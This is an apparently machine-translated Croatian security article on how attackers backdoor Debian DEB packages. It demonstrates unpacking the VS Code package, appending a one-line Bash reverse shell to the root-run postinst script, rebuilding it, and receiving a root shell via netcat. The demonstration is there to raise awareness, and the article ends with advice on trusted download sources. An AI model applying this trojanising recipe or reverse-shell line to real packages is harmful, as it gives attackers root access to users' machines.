Jeste li znali da napadači mogu modificirati skripte pakirane u DEB datoteci kako bi dobili neovlašteni pristup vašem računalu? Evo kako se DEB paketi koriste pozadinskim ulazom.
Ključni zahvati
- Paketi DEB-a mogu se lako postaviti u pozadini, omogućujući napadačima da ubace zlonamjerni kod u vaš sustav kada ih instalirate s root dopuštenjima.
- Zaražene DEB pakete teško je otkriti jer ih možda neće označiti antivirusni softver ili rješenja u oblaku kao što je VirusTotal.
- Kako biste se zaštitili, izbjegavajte preuzimanje DEB paketa s nasumičnih stranica, držite se službenih stranica za preuzimanje ili web-mjesta od povjerenja zajednice i razmislite o instaliranju sigurnosnih alata za zaštitu vašeg Linux sustava od mreže napadi.
DEB datoteke su softverski paketi koji su primarni format za isporuku softvera u distribucijama Linuxa temeljenim na Debianu.
Da biste instalirali DEB pakete, morate koristiti upravitelj paketa kao što je dpkg s root dozvolama. Napadači to iskorištavaju i ubacuju stražnja vrata u te pakete. Kada ih instalirate s dpkg-om ili bilo kojim drugim upraviteljem paketa, zlonamjerni kod također se izvršava zajedno i ugrožava vaš sustav.
Hajdemo istražiti kako se DEB paketi točno nalaze iza vrata i što možete učiniti da se zaštitite.
Kako su DEB paketi skriveni?
Prije nego što shvatite kako DEB paketi imaju backdoored, istražimo što se nalazi unutar DEB paketa. Za demonstraciju ću preuzeti paket Microsoft Visual Studio Code DEB sa službene Microsoftove web stranice. Ovo je isti paket koji biste preuzeli ako želite instalirati VS Code na Linux.
Preuzimanje datoteka:Visual Studio Code
Sada kada ste preuzeli ciljni paket, vrijeme je da ga raspakirate. Možete raspakirati DEB paket koristeći dpkg-deb naredba s -R zastavica nakon koje slijedi put za pohranjivanje sadržaja:
dpkg-deb -R
Ovo bi trebalo izdvojiti sadržaj paketa VS Code.
Prelaskom u mapu pronaći ćete više direktorija, međutim naš interes leži samo u DEBIAN imenik. Ovaj direktorij sadrži skripte održavatelja koje se izvršavaju tijekom instalacije s root privilegijama. Kao što ste već mogli shvatiti, napadači mijenjaju skripte u ovom direktoriju.
Za demonstraciju, modificirat ću postinst skriptu i dodajte jednostavnu Bash obrnutu TCP ljusku u jednom retku. Kao što naziv sugerira, to je skripta koja se izvršava nakon što se paket instalira na sustav.
Sadrži naredbe koje finaliziraju konfiguracije kao što su postavljanje simboličkih veza, rukovanje ovisnostima i više. Na internetu možete pronaći mnoštvo različitih obrnutih školjki. Većina njih će raditi isto. Evo primjera obrnute ljuske u jednom redu:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Objašnjenje naredbe:
- udarac: Ovo je naredba koja poziva Bash ljusku.
- -i: Oznaka govori Bashu da radi u interaktivnom načinu rada dopuštajući I/O naredbe u stvarnom vremenu.
-
>& /dev/tcp/ip/port: Ovo preusmjerava standardni izlaz i standardna greška na mrežnu utičnicu, u biti uspostavljajući TCP vezu s
i . - 0>&1: Ovo preusmjerava ulaz i izlaz na isto mjesto, tj. na mrežnu utičnicu.
Za one neupućene, obrnuta ljuska je vrsta koda koji, kada se izvrši na ciljnom stroju, inicira vezu natrag na napadačev stroj. Obrnute ljuske izvrstan su način za zaobilaženje ograničenja vatrozida jer se promet generira sa stroja iza vatrozida.
Evo kako modificirana skripta izgleda:
Kao što vidite, sve je isto, ali je dodan samo jedan redak, tj. naša Bash obrnuta ljuska. Sada trebate sagraditi datoteke natrag u ".deb" format. Jednostavno koristite dpkg naredba s --izgraditi označiti ili koristiti dpkg-deb s -b zastavica iza koje slijedi put ekstrahiranog sadržaja:
dpkg --build
dpkg-deb -b
Sada je backdoored DEB paket spreman za slanje na zlonamjerne stranice. Simulirajmo scenarij u kojem je žrtva preuzela DEB paket na svoj sustav i instalira ga kao bilo koji drugi uobičajeni paket.
Gornje terminalno okno je za POV žrtve, a donje je POV napadača. Žrtva instalira paket sa sudo dpkg -i a napadač strpljivo osluškuje dolazne veze koristeći netcat naredba u Linuxu.
Čim instalacija završi, primijetite da napadač dobiva obrnutu vezu ljuske i sada ima root pristup žrtvinom sustavu. Sada znate kako se DEB paketi koriste pozadinskim ulazom. Naučimo sada kako se možete zaštititi.
Kako otkriti je li DEB paket zlonamjeran
Sada kada znate da su zaraženi DEB paketi stvar, sigurno se pitate kako pronaći zaražene. Za početak, možete pokušati koristiti a Linux antivirusni softver poput ClamAV-a. Nažalost, kada je ClamAV skeniranje pokrenuto na paketu, nije ga označilo kao zlonamjerno. Ovo je rezultat skeniranja:
Dakle, osim ako nemate vrhunsko antivirusno rješenje (što nije jamstvo da nećete biti hakirani), prilično je teško otkriti zlonamjerne DEB pakete. Pokušajmo upotrijebiti rješenje u oblaku kao što je web mjesto VirusTotal:
Kao što vidite, VirusTotal nije otkrio ništa loše s njim. Pa, jedini način da se zaštitite od takvih prijetnji je da slijedite osnovnu sigurnosnu higijenu kao što je ne preuzimanje datoteka s nepoznatih izvora, uvijek provjera hash-a datoteke, i općenito, izbjegavanje instaliranja sumnjivog softvera.
Internet je pun takvih prijetnji. Jedini način da surfate bez gubitka podataka je da imate dovoljno pameti i pregledavate pouzdana mjesta. Osim toga, za Linux biste također trebali pokušati pronaći ima li softver koji preuzimate AppImage varijanta budući da su samostalni i mogu se smjestiti u sandbox i na taj način držati izvan kontakta s vašim sustavom.
Ne preuzimajte DEB pakete s nasumičnih stranica!
DEB paketi nisu sami po sebi loši, no napadači ih lako mogu naoružati i poslati korisnicima koji ništa ne sumnjaju. Kao što je pokazano, DEB paket se može jednostavno otvoriti i modificirati za dodavanje prilagođenog koda sa samo nekoliko naredbi, što ga čini uobičajenim vektorom za slanje zlonamjernog softvera.
Vrhunska antivirusna rješenja ne mogu uhvatiti čak ni jednostavna stražnja vrata na DEB paketima. Stoga je najbolja stvar igrati na sigurno, imati zdrav razum dok surfate webom i uvijek preuzimati softver samo sa službenih stranica za preuzimanje ili web stranica kojima zajednica vjeruje.
Sada kada ste svjesni sigurnosnih rizika koji dolaze s instaliranjem DEB paketa s novih ili nepoznatih stranica, trebali biste biti oprezni kada instalirate novi softver. Međutim, nije dovoljno samo paziti što instalirate. Vaš Linux sustav također može biti meta mrežnih napada.
Kako biste bili sigurni u slučaju mrežnog napada, razmislite o instaliranju alata za mrežnu sigurnost.